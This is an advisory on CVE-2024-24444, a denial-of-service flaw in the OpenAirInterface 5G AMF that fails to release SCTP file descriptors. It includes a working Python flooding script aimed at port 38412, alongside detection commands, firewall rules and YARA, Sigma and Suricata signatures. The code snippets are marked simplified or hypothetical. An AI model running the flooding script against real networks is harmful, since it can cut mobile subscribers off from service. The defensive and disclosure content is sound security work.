CVE-2024-24444

Executive Summary

CVE-2024-24444 is a denial-of-service (DoS) vulnerability in the OpenAirInterface CN5G AMF (Access and Mobility Management Function) component, up to version v2.0.0. The flaw resides in improper file descriptor handling for closed SCTP connections on the N2 interface. An unauthenticated attacker can repeatedly establish SCTP connections, exhausting system resources and causing the AMF to become unresponsive. This vulnerability is particularly critical in 5G core network deployments, as it can disrupt mobile network operations.

Supply Chain & Package Security

This vulnerability affects the OpenAirInterface CN5G AMF, an open-source 5G core network component. The software is typically deployed in containerized environments (Docker/Kubernetes) or as a native Linux service. No official patch has been released as of the latest advisory. Organizations using this component should monitor the OpenAirInterface GitHub repository for updates and consider implementing network-level mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) | Calculated: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• EPSS Score: 0.0% (Low exploitation probability, but high impact)

Deep Dive & Mechanics

The vulnerability is rooted in the improper management of file descriptors when SCTP connections are closed. In the oai-cn5g-amf implementation, when an SCTP association is terminated (either gracefully or abruptly), the associated file descriptor is not properly released or marked as available for reuse. An attacker can exploit this by:

1. Repeated Connection Establishment: The attacker sends multiple SCTP INIT chunks to the AMF's N2 interface (typically port 38412).
2. Resource Exhaustion: Each new connection consumes a file descriptor. Since the AMF does not properly clean up closed connections, the file descriptor table fills up.
3. Denial of Service: Once the system's file descriptor limit (e.g., ulimit -n) is reached, the AMF cannot accept new connections, process legitimate signaling, or handle existing sessions. This effectively halts the AMF's operation.

The N2 interface is used for communication between the gNodeB (base station) and the AMF. By targeting this interface, the attacker can disrupt the entire 5G control plane, preventing user equipment (UE) from registering, establishing sessions, or performing handovers.

Vulnerable vs. Patched Code

Vulnerable Code (oai-cn5g-amf <= v2.0.0):

// Simplified example of vulnerable SCTP connection handling
void handle_sctp_connection(int fd) {
    // ... process SCTP messages ...
    // When connection closes, fd is not properly closed
    // close(fd); // MISSING
    // fd is left in the open state
}

Patched Code (Hypothetical fix):

void handle_sctp_connection(int fd) {
    // ... process SCTP messages ...
    // Properly close the file descriptor
    close(fd);
    // Optionally, set fd to -1 to prevent reuse
    fd = -1;
}

The fix involves ensuring that every SCTP socket file descriptor is closed when the connection terminates, and that the descriptor is removed from the active set.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running oai-cn5g-amf <= v2.0.0 with the N2 interface exposed (default port 38412).
• Attacker machine with Python and pysctp library installed.

Exploit Script (Python):

#!/usr/bin/env python3
import socket
import sctp
import sys
import time

def exploit(target_ip, target_port=38412, num_connections=1000):
    """
    Repeatedly establish SCTP connections to exhaust file descriptors.
    """
    connections = []
    for i in range(num_connections):
        try:
            # Create SCTP socket
            sock = sctp.sctpsocket_tcp(socket.AF_INET)
            sock.connect((target_ip, target_port))
            connections.append(sock)
            print(f"[+] Connection {i+1} established")
        except Exception as e:
            print(f"[-] Failed to establish connection {i+1}: {e}")
            break

    # Keep connections open to exhaust resources
    print(f"[*] Holding {len(connections)} connections open...")
    time.sleep(10)

    # Close connections (but vulnerable AMF may not release descriptors)
    for sock in connections:
        sock.close()

    # Repeat to cause resource exhaustion
    print("[*] Repeating attack...")
    exploit(target_ip, target_port, num_connections)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)
    target_ip = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412
    exploit(target_ip, target_port)

Expected Outcome: The AMF becomes unresponsive to legitimate SCTP connections, causing a denial of service for 5G network functions.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor File Descriptor Usage: Use lsof or /proc to track open file descriptors for the AMF process.

   watch -n 1 'lsof -p $(pgrep -f oai-cn5g-amf) | wc -l'
   

2. Network Traffic Analysis: Look for a high volume of SCTP INIT chunks from a single source IP.
3. Log Analysis: Check AMF logs for "connection refused" or "too many open files" errors.

Mitigation Steps:

1. Rate Limiting: Implement rate limiting on the N2 interface using iptables or a firewall.

   iptables -A INPUT -p sctp --dport 38412 -m recent --name SCTP --set
   iptables -A INPUT -p sctp --dport 38412 -m recent --name SCTP --update --seconds 60 --hitcount 10 -j DROP
   

2. Increase File Descriptor Limits: Temporarily increase ulimit -n for the AMF process.

   ulimit -n 65535
   

3. Container Orchestration: If running in Kubernetes, set resource limits and use network policies to restrict access to the AMF pod.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of SCTP INIT chunks from a single IP address to port 38412.
  • Multiple SCTP associations from the same source IP in a short time frame.
  • AMF logs showing "Too many open files" or "Cannot allocate memory" errors.

• Host IOCs:

  • AMF process consuming an excessive number of file descriptors (check via lsof).
  • System logs (/var/log/syslog) showing "open files" limit reached.
  • AMF service becoming unresponsive to legitimate N2 interface traffic.

• File IOCs:

  • /proc/<pid>/fd/ directory showing hundreds of open SCTP sockets.

Detection Engineering

YARA Rule

rule CVE_2024_24444_AMF_DoS {
    meta:
        description = "Detects potential exploitation of CVE-2024-24444 via SCTP connection flooding"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24444"
    strings:
        $sctp_init = { 00 01 00 00 }  // SCTP INIT chunk header (simplified)
        $amf_log1 = "Too many open files" nocase
        $amf_log2 = "Cannot allocate memory" nocase
    condition:
        #sctp_init > 100 or $amf_log1 or $amf_log2
}

Sigma Rule

title: CVE-2024-24444 - OpenAirInterface AMF SCTP Connection Flooding
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects excessive SCTP connections to the AMF N2 interface, indicating a DoS attempt.
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: linux
detection:
    selection:
        protocol: sctp
        destination_port: 38412
        event_type: connection_attempt
    condition: selection | count() by source_ip > 100 within 60s
falsepositives:
    - Legitimate high-load testing
level: high

Suricata Rule

alert sctp any any -> any 38412 (msg:"CVE-2024-24444 - AMF SCTP Connection Flooding"; flow:to_server; content:"|00 01 00 00|"; depth:4; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Restrict access to the AMF N2 interface (port 38412) to only trusted gNodeB IP addresses.
2. Rate Limiting: Deploy iptables or firewall rules to limit the number of SCTP connections per source IP.
3. Increase Limits: Temporarily increase the file descriptor limit for the AMF process (ulimit -n 65535).

Long-Term Fixes:

1. Apply Patch: Monitor the OpenAirInterface GitHub repository for an official patch. If none is available, consider implementing the code fix described in the "Vulnerable vs. Patched Code" section.
2. Upgrade: Upgrade to a patched version once released.
3. Container Hardening: If using Docker/Kubernetes, set resource limits (e.g., --ulimit nofile=65535:65535) and use network policies to restrict access.

Workarounds:

• Use a reverse proxy or load balancer that can handle SCTP connections and rate-limit them before they reach the AMF.
• Implement an intrusion prevention system (IPS) with the provided Suricata rule to block malicious traffic.

Valters IT